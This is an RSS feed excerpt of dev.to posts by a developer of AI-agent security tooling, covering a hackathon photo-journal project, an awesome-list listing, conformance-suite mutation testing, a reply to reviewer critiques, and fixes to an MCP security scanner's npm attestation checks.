&lt;td&gt;Gemma terms&lt;/td&gt;
&lt;td&gt;Open-weight vision model&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/hMatoba/Piexif" rel="noopener noreferrer"&gt;piexif&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;td&gt;EXIF read/write&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://openstreetmap.org" rel="noopener noreferrer"&gt;OpenStreetMap&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;ODbL&lt;/td&gt;
&lt;td&gt;Map links (no API key)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  What's next
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Phone integration&lt;/strong&gt;: PWA that takes photos + runs the pipeline on-device (via WebGPU + WebNN)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Multi-day journals&lt;/strong&gt;: chain multiple &lt;code&gt;.aleth&lt;/code&gt; containers across a multi-day trek&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Community sharing&lt;/strong&gt;: publish verified journals to a registry (like alethech's MCP registry)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bird identification&lt;/strong&gt;: fine-tune a small open-weight model on local bird species&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/eddyflores100-lang/touch-grass
&lt;span class="nb"&gt;cd &lt;/span&gt;touch-grass
pip &lt;span class="nb"&gt;install &lt;/span&gt;pillow piexif alethech
python3 src/create_demo_photos.py
python3 src/run_demo.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then check &lt;code&gt;output/journal.md&lt;/code&gt; for the report and &lt;code&gt;output/journal.aleth&lt;/code&gt; for the sealed container.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Built for Hacktoberfest 2026 DEV Challenge Week 1: Touch Grass. The theme was to build something with open-source AI that gets people off the screen and into the world. I went hiking, took photos, and built a tool that proves I was there.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>hf26challenge</category>
      <category>hacktoberfest</category>
      <category>touchgrass</category>
    </item>
    <item>
      <title>Listed in Awesome-Agent-Memory: what the maintainer audited, and what the listing actually pays</title>
      <dc:creator>Edison Flores</dc:creator>
      <pubDate>Sun, 04 Oct 2026 00:39:50 +0000</pubDate>
      <link>https://dev.to/edison_flores_6d2cd381b13/listed-in-awesome-agent-memory-what-the-maintainer-audited-and-what-the-listing-actually-pays-2ogk</link>
      <guid>https://dev.to/edison_flores_6d2cd381b13/listed-in-awesome-agent-memory-what-the-maintainer-audited-and-what-the-listing-actually-pays-2ogk</guid>
      <description>&lt;h2&gt;
  
  
  Listed in Awesome-Agent-Memory: what the maintainer audited, and what the listing actually pays
&lt;/h2&gt;

&lt;p&gt;Yesterday &lt;a href="https://github.com/eddyflores100-lang/alethech" rel="noopener noreferrer"&gt;alethech&lt;/a&gt; — our verifiable agent memory protocol — landed in &lt;a href="https://github.com/TeleAI-UAGI/Awesome-Agent-Memory" rel="noopener noreferrer"&gt;TeleAI-UAGI/Awesome-Agent-Memory&lt;/a&gt; as the last entry of the Emerging projects block, via &lt;a href="https://github.com/TeleAI-UAGI/Awesome-Agent-Memory/pull/136" rel="noopener noreferrer"&gt;PR #136&lt;/a&gt;. The list has 657 stars today. The PR was five lines of README. The maintainer closed it unmerged — and landed it by hand with co-authorship credit, as &lt;a href="https://github.com/TeleAI-UAGI/Awesome-Agent-Memory/commit/ec176c9" rel="noopener noreferrer"&gt;ec176c9&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This post is the honest accounting of what that earns, because the folklore around awesome-lists is mostly wrong in both directions: it is neither a traffic faucet nor a useless badge. Here is what actually happened, with every number verifiable.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the maintainer audited before listing
&lt;/h3&gt;

&lt;p&gt;dell-zhang's comment on the closed PR, verbatim:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;I checked the repository (created on 2026-09-21, releases through v0.9.1, CI passing), the MIT license, the links, and how an agent reaches the memory: &lt;code&gt;Alethech.commit()&lt;/code&gt; on the write side, and on the read side &lt;code&gt;drop_context()&lt;/code&gt; and the read-only MCP bridge in &lt;code&gt;alethech/mcp_memory.py&lt;/code&gt; (&lt;code&gt;alethech_memory_context&lt;/code&gt;, &lt;code&gt;alethech_memory_verify&lt;/code&gt;). I also checked the description against the code: Ed25519 signing, parent-linked commits, key rotation under a root identity, and the scrypt + AES-256-GCM &lt;code&gt;.aleth&lt;/code&gt; container.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Read that again, because it is the entire value of a curated list: &lt;strong&gt;he checked the description against the code.&lt;/strong&gt; Every technical claim in our entry — Ed25519 signing, parent-linked commits, key rotation, the encrypted container — was verified against the implementation before the entry went in. For a security project, that is third-party verification with skin in the game: the list's 657 stars are the maintainer's reputation, and he spends a little of it on every entry he lands.&lt;/p&gt;

&lt;p&gt;Two mechanical details, for anyone aiming at the same outcome:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Entries are landed by hand, not by merge button, so numbering stays consistent across concurrent PRs. Ours was written to land as entry 105; two other entries landed the same day, so it went in two positions later, at the end of the block. Plan for drift.&lt;/li&gt;
&lt;li&gt;The hand-landed commit carries &lt;code&gt;Co-authored-by&lt;/code&gt; for the PR author. That commit counts in your contribution graph — I verified this through the GraphQL &lt;code&gt;contributionsCollection&lt;/code&gt; API rather than trusting the rendered calendar: one commit attributed, exactly as the trailer promised.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The audit found two bugs — in our README, not our code
&lt;/h3&gt;

&lt;p&gt;The maintainer's only non-blocking note, verbatim:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;One note on the repository, not a condition for the listing: the README is behind the code in two places. "What this repo is NOT" still says it has no MCP server, and Status still gives 0.8.5 as the released version with 0.9 in progress. Visitors from the list will read both.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Both were real, and both were ours. The README's NOT-list still claimed "no MCP server" while the read-only stdio bridge &lt;code&gt;alethech/mcp_memory.py&lt;/code&gt; ships in the same repo; the status section was a version behind the actual v0.9.1 release. We fixed both in &lt;a href="https://github.com/eddyflores100-lang/alethech/commit/6f13e51" rel="noopener noreferrer"&gt;6f13e51&lt;/a&gt; within the hour and credited the maintainer back with a &lt;code&gt;Co-Authored-By&lt;/code&gt; trailer — he identified the spots, the same way we wrote the entry he landed. Courtesies that cost five seconds tend to be repaid in threads you did not expect.&lt;/p&gt;

&lt;p&gt;The lesson generalizes beyond listings: &lt;strong&gt;the README is the landing page, and its negative claims are checked harder than its positive ones.&lt;/strong&gt; A wrong "this project is not X" is worse than a missing feature, because it misroutes the exact visitor who came looking for X. Sync it before the listing lands, not after — the visitors arrive with the entry.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the listing pays — and what it does not
&lt;/h3&gt;

&lt;p&gt;Pays:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A permanent link from a discovery hub that the agent-memory niche actually reads, rendered with a live stars badge for our repo right in the list's entry.&lt;/li&gt;
&lt;li&gt;External validation: someone whose reputation is attached to a 657-star list checked the crypto claims against the code before listing. "Listed after a maintainer audit" is now a true sentence in our README, and it is referenceable in contexts where self-attestation is worthless.&lt;/li&gt;
&lt;li&gt;The co-authored commit on the list's &lt;code&gt;main&lt;/code&gt;: git-history credit that survives independent of the README.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Does not pay:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Stars.&lt;/strong&gt; Stars belong to the list, not the listed. Our repo has zero stars one day in, and there is no mechanism that transfers them. Our fork of the list shows the network's star count but collects its own — it sits at zero, as forks of big lists generally do.&lt;/li&gt;
&lt;li&gt;Traffic, so far: 63 views / 28 uniques over the last 14 days, and the listing is one day old. The entry is a channel, not a faucet.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The gap worth naming: the same 14-day window shows &lt;strong&gt;5,240 clones from 759 unique cloners&lt;/strong&gt; — with the honest caveat that CI pipelines and container builds are inside that number, so treat it as an upper bound on humans. People install plumbing; they do not star it. 759 unique cloners and 0 stargazers is the actual conversion problem this post exists to attack.&lt;/p&gt;

&lt;h3&gt;
  
  
  The recipe, if you want the same outcome
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Read the list's CONTRIBUTING before writing anything. Ours specifies star-ordering: 0-star projects go to the end of the Emerging block. We wrote the entry to land at the end, and it did.&lt;/li&gt;
&lt;li&gt;Write the entry in their format, link-first, no marketing copy. Five lines, one of which is the badge.&lt;/li&gt;
&lt;li&gt;State precisely what the project IS and IS NOT — the maintainer will check both halves against the code, and the NOT-half is where ours was wrong.&lt;/li&gt;
&lt;li&gt;Expect the audit to cover: releases, CI, license, dead links, the API surface by which an agent actually reaches the feature you claim, and every technical claim in your description.&lt;/li&gt;
&lt;li&gt;Fix what the audit finds, fast, and credit the finder in the fix commit.&lt;/li&gt;
&lt;li&gt;A closed-but-landed PR with &lt;code&gt;Co-authored-by&lt;/code&gt; is a win, not a rejection. Read the close reason before reacting to the state.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you cloned alethech in the last two weeks and it held up: &lt;a href="https://github.com/eddyflores100-lang/alethech/stargazers" rel="noopener noreferrer"&gt;the star button&lt;/a&gt; is the only routing signal other people's agents receive. The list entry renders our stars badge live, so the count is visible exactly where the readers are.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Edison Flores, founder of &lt;a href="https://github.com/alicelabs-llc" rel="noopener noreferrer"&gt;AliceLabs LLC&lt;/a&gt; — we build open-source security infrastructure for AI agents. Independent verification of anything cited here is not just welcome, it's the point.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>opensource</category>
      <category>github</category>
      <category>security</category>
    </item>
    <item>
      <title>v1.7.0 shipped: adversarial window sampling, generated mutants, and the survivor list published</title>
      <dc:creator>Edison Flores</dc:creator>
      <pubDate>Sat, 03 Oct 2026 22:43:21 +0000</pubDate>
      <link>https://dev.to/edison_flores_6d2cd381b13/v170-shipped-adversarial-window-sampling-generated-mutants-and-the-survivor-list-published-28kf</link>
      <guid>https://dev.to/edison_flores_6d2cd381b13/v170-shipped-adversarial-window-sampling-generated-mutants-and-the-survivor-list-published-28kf</guid>
      <description>&lt;h2&gt;
  
  
  v1.7.0 shipped: adversarial window sampling, generated mutants, and the survivor list published
&lt;/h2&gt;

&lt;p&gt;This is the follow-through on &lt;a href="https://dev.to/edison_flores_6d2cd381b13/re-anp2network-all-three-critiques-land-the-single-point-fixture-the-memorizer-turned-around-9g5"&gt;"Re: @anp2network — all three critiques land"&lt;/a&gt;, which committed to the changes queued as v1.4.0. They are now live on &lt;code&gt;main&lt;/code&gt; as &lt;a href="https://github.com/alicelabs-llc/universal-trust-adapter/tree/main/uta-monorepo/packages/conformance" rel="noopener noreferrer"&gt;manifest v1.7.0 / package 1.5.0&lt;/a&gt; — the suite had advanced to 1.6.0 (third-party interop evidence) while the work was queued, so the numbering continues from there. The content is what was promised, and CI now runs all of it on every push, &lt;a href="https://github.com/alicelabs-llc/universal-trust-adapter/actions/workflows/ci-tests.yml" rel="noopener noreferrer"&gt;including mutation testing under &lt;code&gt;--strict&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Everything below is verifiable from the repo with Node ≥ 18 and no dependencies.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. The lower bound is a distribution now
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;generate-accept-vectors.mjs --mode adversarial&lt;/code&gt; emits correctly-signed, anchored, active cards whose &lt;strong&gt;only&lt;/strong&gt; defect is a violated validity window — so &lt;code&gt;expiry_check&lt;/code&gt; must fail and everything else must pass:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Bucket&lt;/th&gt;
&lt;th&gt;Share&lt;/th&gt;
&lt;th&gt;Range&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;future-issued&lt;/td&gt;
&lt;td&gt;55%&lt;/td&gt;
&lt;td&gt;+2..7d (boundary band), +8..90d, +91..730d, +731..1460d&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;already-expired&lt;/td&gt;
&lt;td&gt;35%&lt;/td&gt;
&lt;td&gt;including &lt;code&gt;expires_at == NOW&lt;/code&gt; (the &lt;code&gt;&amp;gt;&lt;/code&gt; boundary itself)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;empty window&lt;/td&gt;
&lt;td&gt;10%&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;issued_at == expires_at&lt;/code&gt; in the future&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The fail-closed mirror rule: in valid-card modes a window violation is a FATAL; in adversarial mode a card that lands &lt;strong&gt;in&lt;/strong&gt; window is a FATAL — the generator failing to produce its own defect. Accept mode additionally issues 20% of cards &lt;strong&gt;today&lt;/strong&gt; (boundary-in band), so a runner using &lt;code&gt;&amp;lt;&lt;/code&gt; instead of &lt;code&gt;&amp;lt;=&lt;/code&gt;, or a clock-retarded runner, is caught by the sidecar cross-check pinning the generation-time clock.&lt;/p&gt;

&lt;p&gt;One honest hole, named rather than hidden: adversarial future offsets floor at &lt;strong&gt;+2 days&lt;/strong&gt; so a generated set stays re-scoreable across midnight (a +1d card flips in-window after midnight while the sidecar pinned the old truth). The &lt;code&gt;clock+1d&lt;/code&gt; mutation therefore survives, by design. The trade-off is written into the generator's header and the survivor list — catching a +1d clock shift would cost portability of every generated set.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Generated mutants, survivor list published
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://github.com/alicelabs-llc/universal-trust-adapter/blob/main/uta-monorepo/packages/conformance/mutate-runner.mjs" rel="noopener noreferrer"&gt;mutate-runner.mjs&lt;/a&gt; applies a declared operator set — every comparison on the scored path (&lt;code&gt;cmp-swap&lt;/code&gt;), every single-line guard (&lt;code&gt;guard-drop&lt;/code&gt;), every block condition (&lt;code&gt;branch-negate&lt;/code&gt;), and the clock ±1d — mechanically at every applicable site, and &lt;strong&gt;executes&lt;/strong&gt; every mutant against the full suite. No hand-picking, which was the closed-set failure you named: our memorizer argument pointed at our own catalogue.&lt;/p&gt;

&lt;p&gt;Classification is mechanical: &lt;strong&gt;caught&lt;/strong&gt; (suite fails), &lt;strong&gt;equivalent-on-suite&lt;/strong&gt; (exit 0, byte-identical &lt;code&gt;--json&lt;/code&gt; output — suite-equivalence, not true equivalence), &lt;strong&gt;observable-escape&lt;/strong&gt; (exit 0, output changed). Current state on 46 mutants: &lt;strong&gt;40 caught, 6 equivalent, 0 observable&lt;/strong&gt;. &lt;a href="https://github.com/alicelabs-llc/universal-trust-adapter/blob/main/uta-monorepo/packages/conformance/mutation-survivors.json" rel="noopener noreferrer"&gt;The survivor list is committed as an artifact&lt;/a&gt;, and each survivor names something real:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;clock+1d&lt;/code&gt; — the deliberate midnight-portability trade-off above.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;meta-integrity check that guards the other checks can itself be disabled&lt;/strong&gt;. The runner now counts its own checks (byte-exactness, sidecar and stage cross-checks each exactly once per entry — a skipped check is a FATAL), and mutation testing immediately found that the counter assertion itself can be negated. Self-verification bottoms out somewhere. That is not a defeat; it is the demonstration of exactly your Rekor point — internal checks cannot certify their own execution, and the exit is &lt;em&gt;external&lt;/em&gt; cross-anchoring (same digest republished from origins that don't share control), which stays queued after this release.&lt;/li&gt;
&lt;li&gt;The rest are dead-path-under-&lt;code&gt;--json&lt;/code&gt;, error-message-only, and a provably order-neutral JCS comparator mutant on this suite's key sets.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Three of the tightenings shipped in this release were found by the mutation run itself, then closed: &lt;code&gt;--generated&lt;/code&gt; on the command line that isn't parsed or yields zero cards is now a FATAL (a silently-ignored input used to be a green run); sidecar cross-checks are sha256-bound to the card bytes (on a uniform set, cross-checking the &lt;em&gt;wrong&lt;/em&gt; row still agreed on &lt;code&gt;expected_verify&lt;/code&gt;); and those completion counters above. The survivor list shrank as the derived-truth checks tightened — the loop you asked about works.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. The matrix, with the window asked distributionally
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;| Runner                                  | fixed | adversarial (40) |
|-----------------------------------------|-------|------------------|
| always-true                             | 8/14  | 0/40             |
| policy-only (Ed25519 deleted)           | 11/14 | 40/40            |
| crypto-only (no expiry/status)          | 11/14 | 0/40             |
| embedded-key + policy (TOFU)            | 13/14 | 40/40            |
| memorizer (hardcodes valid-atc digest)  | 12/14 | 40/40            |
| over-rejector (chokes on x_* fields)    | 13/14 | 40/40            |
| stage-liar                              |  7/14 | 0/40             |
| reference (pinned + policy + tolerance) | 14/14 | 40/40            |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;crypto-only&lt;/code&gt; at &lt;strong&gt;0/40&lt;/strong&gt; is the row that didn't exist before: a runner with intact cryptography and no window enforcement now fails against a &lt;em&gt;distribution&lt;/em&gt; of window violations, not one frozen 2030 timestamp. The memorizer's 40/40 on adversarial is honest too — always-false happens to match always-reject; its weakness shows on the accept side, which is why the CI job scores both a fresh adversarial set and a fresh accept set on every push.&lt;/p&gt;

&lt;h3&gt;
  
  
  What to re-run
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;node vectors/generate-accept-vectors.mjs &lt;span class="nt"&gt;--mode&lt;/span&gt; adversarial &lt;span class="nt"&gt;--count&lt;/span&gt; 40 &lt;span class="nt"&gt;--seed&lt;/span&gt; 7 &lt;span class="nt"&gt;--out&lt;/span&gt; .gen-adv
node score-runner.mjs &lt;span class="nt"&gt;--generated&lt;/span&gt; .gen-adv
node mutate-runner.mjs &lt;span class="nt"&gt;--generated&lt;/span&gt; .gen-adv &lt;span class="nt"&gt;--out&lt;/span&gt; survivors.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The two questions from the last article are now answerable by anyone with the repo: the runner's rejection rate holds across the sampled boundary (not one timestamp), and the survivor list — not a caught-count — is the published claim. Rekor cross-anchoring remains queued after this release, still not dressed up as done.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Edison Flores, founder of &lt;a href="https://github.com/alicelabs-llc" rel="noopener noreferrer"&gt;AliceLabs LLC&lt;/a&gt; — we build open-source security infrastructure for AI agents. Independent verification of anything cited here is not just welcome, it's the point.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>opensource</category>
      <category>testing</category>
    </item>
    <item>
      <title>Re: @anp2network — all three critiques land: the single-point fixture, the memorizer turned around, and the v1.4.0 plan</title>
      <dc:creator>Edison Flores</dc:creator>
      <pubDate>Sat, 03 Oct 2026 22:21:39 +0000</pubDate>
      <link>https://dev.to/edison_flores_6d2cd381b13/re-anp2network-all-three-critiques-land-the-single-point-fixture-the-memorizer-turned-around-9g5</link>
      <guid>https://dev.to/edison_flores_6d2cd381b13/re-anp2network-all-three-critiques-land-the-single-point-fixture-the-memorizer-turned-around-9g5</guid>
      <description>&lt;h2&gt;
  
  
  Re: &lt;a class="mentioned-user" href="https://dev.to/anp2network"&gt;@anp2network&lt;/a&gt; — all three critiques land: the single-point fixture, the memorizer turned around, and the v1.4.0 plan
&lt;/h2&gt;

&lt;p&gt;This is a reply to &lt;a class="mentioned-user" href="https://dev.to/anp2network"&gt;@anp2network&lt;/a&gt;'s comment (id 3ehcp, 2026-09-10) on my previous article about vectors v1.3.3.&lt;/p&gt;

&lt;p&gt;Short version: your validation is noted and appreciated — and every one of the three critiques you attached to it is correct, so this article is a concession note, not a defense. What follows accepts each point precisely, then commits to what changes in v1.4.0 and in what order.&lt;/p&gt;




&lt;h3&gt;
  
  
  1. The lower bound: one constant is a fixture, not a distribution
&lt;/h3&gt;

&lt;p&gt;You wrote that 0/60 is a measurement of the generator, not of the runner's window. Correct, and worth restating in the bluntest form: after v1.3.3, the generated suite stopped asking whether a runner rejects future-dated cards &lt;em&gt;at all&lt;/em&gt;. The property that 32 randomized cards used to exercise (scored wrong, but exercised) is now carried by &lt;code&gt;premature-atc&lt;/code&gt; alone — one card, &lt;code&gt;issued_at&lt;/code&gt; frozen at &lt;code&gt;2030-01-01&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;A runner can special-case that exact timestamp and still mishandle every other issuance time in the future half-plane. &lt;code&gt;now + 5s&lt;/code&gt;, &lt;code&gt;2030-01-02&lt;/code&gt;, a card whose &lt;code&gt;issued_at&lt;/code&gt; is one clock-tick ahead of the scorer — none of those are in the suite. The "exact mirror of &lt;code&gt;expired-atc&lt;/code&gt;" framing I used is also the confession: a mirror that is one constant is a fixture. The fixed suite covers one point of the half-plane, and I won't pretend it covers the half-plane.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. The memorizer, pointed back at us
&lt;/h3&gt;

&lt;p&gt;The second critique is the one that stings most, because it's our own argument: the closed-catalogue case against the memorizer applies to a hand-listed mutant catalogue for the same reason — memorizing wins whenever the set it has to cover is closed and small.&lt;/p&gt;

&lt;p&gt;The 10/10 mutant detection establishes exactly what it says: those ten are detected. The catalogue was written after the defects were known. That ordering disqualifies any claim beyond detection of the listed set; it cannot estimate what fraction of the remaining failure space walks through. Fair hit, fully conceded.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. What v1.4.0 changes — both land together
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Adversarial generation mode.&lt;/strong&gt; The generator gets an explicit &lt;code&gt;--adversarial&lt;/code&gt; flag that emits &lt;em&gt;correctly signed&lt;/em&gt; cards violating the validity window, with &lt;code&gt;expected_verify: false&lt;/code&gt;, cross-checked against derived truth — never the sidecar, per the asymmetry you identified: an absent file can't lie, a disagreeing one can. Issuance offset is sampled relative to the scoring clock, with deliberate mass at and a few seconds past the boundary, so the bound is tested by a distribution instead of a fixture. &lt;code&gt;FATAL&lt;/code&gt; stays reserved for unintended violations in valid-card mode; window violations under &lt;code&gt;--adversarial&lt;/code&gt; are expected failures, not errors.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Generated mutants.&lt;/strong&gt; The hand-listed catalogue is replaced by generation: a declared set of syntax-level operators — negate branch condition, swap comparison direction, drop a guard, off-by-one the clock — applied at &lt;em&gt;every&lt;/em&gt; applicable site in &lt;code&gt;score-runner.mjs&lt;/code&gt;, mechanically rather than by hand. What gets published is the survivor list, with equivalent mutants separated out. Each survivor names a check the suite doesn't enforce; that list is the claim, a caught-count is not.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Rekor: commit-to-existence is not serving-integrity
&lt;/h3&gt;

&lt;p&gt;Your cut here is exact: the entry commits to a digest existing at a point in time. It says nothing about whether any origin serves those bytes &lt;em&gt;now&lt;/em&gt; — and a stranger who pulls both the scorer and its expected digest from the same hub runs a comparison that never leaves that origin. The honest label for the current setup is "tamper-evidence with an anchored timestamp," not "independent verification."&lt;/p&gt;

&lt;p&gt;The fix direction is cross-anchoring: the same digest republished from origins that don't share control — the npm tarball, the Rekor entry, and at least one host we don't operate — so a mismatch anywhere becomes a checkable event rather than trust in one hub. That is queued after v1.4.0. I am not dressing it up as done.&lt;/p&gt;




&lt;h3&gt;
  
  
  What to ask when you re-run after v1.4.0
&lt;/h3&gt;

&lt;p&gt;The two questions worth asking are the ones you'd ask anyway:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Does the runner's rejection rate hold at the sampled boundary — not just at the one frozen timestamp?&lt;/li&gt;
&lt;li&gt;Does the survivor list shrink when the derived-truth checks tighten — and are the survivors that remain genuinely equivalent mutants, or named gaps?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The suite's job is to make those questions answerable by anyone with the repo and a clock. v1.4.0 is scoped to exactly that.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Edison Flores, founder of &lt;a href="https://github.com/alicelabs-llc" rel="noopener noreferrer"&gt;AliceLabs LLC&lt;/a&gt; — we build open-source security infrastructure for AI agents. The conformance vectors live in the &lt;a href="https://github.com/alicelabs-llc/universal-trust-adapter" rel="noopener noreferrer"&gt;universal-trust-adapter&lt;/a&gt; repo; independent verification of anything cited here is not just welcome, it's the point.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Three merged PRs in an MCP security scanner: the review that found my bug, and two more</title>
      <dc:creator>Edison Flores</dc:creator>
      <pubDate>Sat, 03 Oct 2026 21:21:41 +0000</pubDate>
      <link>https://dev.to/edison_flores_6d2cd381b13/three-merged-prs-in-an-mcp-security-scanner-the-review-that-found-my-bug-and-two-more-3887</link>
      <guid>https://dev.to/edison_flores_6d2cd381b13/three-merged-prs-in-an-mcp-security-scanner-the-review-that-found-my-bug-and-two-more-3887</guid>
      <description>&lt;h2&gt;
  
  
  What happened
&lt;/h2&gt;

&lt;p&gt;Three PRs merged into &lt;a href="https://github.com/yunaremaia/mcp-guard" rel="noopener noreferrer"&gt;yunaremaia/mcp-guard&lt;/a&gt; — a supply-chain/security scanner for MCP servers — in roughly 36 hours:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;PR&lt;/th&gt;
&lt;th&gt;What it did&lt;/th&gt;
&lt;th&gt;The interesting part&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/yunaremaia/mcp-guard/pull/87" rel="noopener noreferrer"&gt;#87&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;scan --fail-on low&lt;/code&gt; no longer exits 1 on a &lt;em&gt;clean&lt;/em&gt; empty scan&lt;/td&gt;
&lt;td&gt;the root cause was &lt;code&gt;max(..., default=0)&lt;/code&gt; vs a threshold of &lt;code&gt;0&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/yunaremaia/mcp-guard/pull/88" rel="noopener noreferrer"&gt;#88&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;keyword matching no longer flags read-only tools as CRITICAL&lt;/td&gt;
&lt;td&gt;substring matching + the false-positive/false-negative trade-off&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/yunaremaia/mcp-guard/pull/86" rel="noopener noreferrer"&gt;#86&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;mcp-guard verify&lt;/code&gt; — npm supply-chain verification (attestations, provenance, strict policy)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;the maintainer's review found that my feature could never report "signed"&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;That last cell is the reason this post exists. The rest is what the merge taught.&lt;/p&gt;

&lt;h2&gt;
  
  
  The embarrassing one: a feature that could never say "yes"
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;verify&lt;/code&gt; resolves an npm package ref, hits the registry, and checks for &lt;a href="https://github.com/npm/attestations" rel="noopener noreferrer"&gt;npm's provenance attestations&lt;/a&gt; (sigstore bundles). I shipped v1 with the documented endpoint shape:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /-/npm/v1/packages/attestations/{name}/{version}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;316 tests green, 100% coverage on the new module, smoke-tested live against the registry. Merged? Not yet — &lt;a href="https://github.com/yunaremaia/mcp-guard/pull/86" rel="noopener noreferrer"&gt;the review&lt;/a&gt; came back with a reproduction: &lt;strong&gt;that URL 404s for every package, including &lt;code&gt;@sigstore/sign&lt;/code&gt;&lt;/strong&gt; — the reference implementation of the thing being verified. Every verdict was structurally "unsigned." A security tool whose happy path can never fire.&lt;/p&gt;

&lt;p&gt;The real contract, verified against the live registry:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;GET /{name}/{version}&lt;/code&gt; (the manifest) carries &lt;code&gt;dist.attestations.url&lt;/code&gt; when — and only when — the version is signed&lt;/li&gt;
&lt;li&gt;packages without attestations simply lack the field&lt;/li&gt;
&lt;li&gt;the packument (&lt;code&gt;GET /{name}&lt;/code&gt;) carries it per-version under &lt;code&gt;versions[v].dist.attestations&lt;/code&gt;
&lt;/li&gt;
